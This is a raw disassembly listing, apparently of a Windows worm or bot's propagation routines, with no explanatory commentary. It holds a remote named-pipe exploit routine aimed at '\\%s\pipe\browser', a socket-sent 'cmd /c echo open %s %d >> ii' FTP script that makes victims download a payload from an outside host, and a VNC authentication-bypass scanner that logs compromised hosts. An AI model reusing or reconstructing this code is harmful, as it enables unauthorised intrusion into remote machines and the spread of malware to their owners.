		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; ¼
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  44h	; D
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  28h	; (
		db 0D1h	; Ñ
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2700923h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43221C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432208
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		call	near ptr 2660969h
		nop
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4321FF+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321A4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321AC[esi]
		push	7
		add	eax, edi
		push	offset dword_432198
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432038
		push	eax
		call	sub_41C310
		mov	eax, dword_4321A8[esi]
		add	esp, 30h
		cmp	byte_4321B0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321C8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321C8

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		call	near ptr 2660969h
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26F0936h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_40DE4F
		call	near ptr 2680835h
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2690000h
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; °
		db 0ACh	; ¬
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  50h	; P
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E7h	; ç
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 262ECCE8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43140Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322C4
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433508
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
